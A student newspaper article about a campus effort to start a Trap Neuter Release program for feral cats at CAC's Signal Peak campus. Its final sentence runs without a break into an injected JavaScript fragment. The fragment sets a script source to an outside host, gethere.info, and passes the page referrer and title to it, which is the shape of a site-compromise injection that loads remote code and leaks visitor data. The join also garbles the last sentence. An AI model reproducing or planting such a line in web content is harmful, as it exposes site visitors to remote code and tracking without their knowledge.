A Change for Signal Peak Cat Population

Student strives to help CAC Community Cats

A Change for Signal Peak Cat Population

Kamille Ritchie, Cactus Editor

While students and staff are a common sight on any college campus, cats are unique to Signal Peak. However, these are not your typical house cats. A majority of the cats on campus are feral [meaning they have never been handled by people]. To many at CAC, the community cats are just a part of campus life. They are seen, but hardly registered. Tiffany Branscum was like most students. Every morning, she would be greeted to cats when she pulled into the school parking lot. From time to time, she would feed them. She was indifferent to their presence. However, her feelings began to change around the end of last semester.

For the first time, cats were trapped on campus. About 15 of them were caught by campus police officers. Figuring it was for the better, Branscum chose not to get involved. After some time had passed, she noticed two cats had popped up and it turns out they had babies. The runt of litter frequently approached Branscum’s vehicle so she began feeding it regularly. As she interacted more with the family of cats, she knew she had to do something about them.

“I kind of felt like it was my responsibility to take care of them, and find homes for them because it bothered me.” Branscum contacted the Valley Humane Society, hoping to bring the cats there, but they were full; often times, the only other option would be Animal Control. If an animal is taken to Animal Control, attempts will be made to have the animal adopted; however, if they are unable to, they will be euthanized. Unfortunately, domestic cats are more likely to be adopted as opposed to feral cats. Trying to figure out something, Branscum finally decided about two months ago to approach CAC’s administration with the possibility of a Trap Neuter Release program.

What is a Trap Neuter Release program? Basically, these animals are humanely trapped, sterilized and medically treated. Once the animal has recuperated, its ear is clipped slightly and it is rereleased into its original habitat. Originally, Branscum planned of taking the family of cats herself to a TNR program in the valley in an attempt to start the program on her own; however, with a charge of $25 per animal, she was not sure if that was a possibility.

With help from Mary Eitel, a self-proclaimed cat advocate and board member to the Pinal County Animal Control and Valley Humane Society, and Audra Michaels, director of Pinal County Animal Control, Branscum was able to formulate a plan. “She’s [referring to Eitel] been trying for a couple years to get the program started at CAC.” With connections to several organizations willing to help the cats, Eitel would be in charge of the program. Let’s note that CAC will not be financing this program, Eitel instead trying to obtain a grant to provide funding. Branscum. Eitel and Michaels were able to sit down with CAC’s Chief of Police, James Matheney. During the meeting, Eitel and Michaels both provided Matheney information to help him make a decision; since the initial writing of this article Matheney has decided to proceed with the program.

“The program has never been done at CAC and I would just like the chance to try it out… just to see if it works.” TNR is probably the best option because it offers a brighter future for the animal and saves money in the long run. “According to Audra Michaels, they [Animal Control] only have so many cats that they can take in.” Because of the plethora of cats on campus, it would overwhelm the shelters to bring that overflow of cats at once. Even if the shelters are able to take the cats in, it will still cost money to feed, immunize, fix and if it comes to it, euthanize the animal. While to some, it’s ideal to have the cats off campus, there’s no promise that new animals wont encroach on the college. Through the TNR, CAC will be able to rest easy knowing that the community cats will be able to come and go as they please without a population increase.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;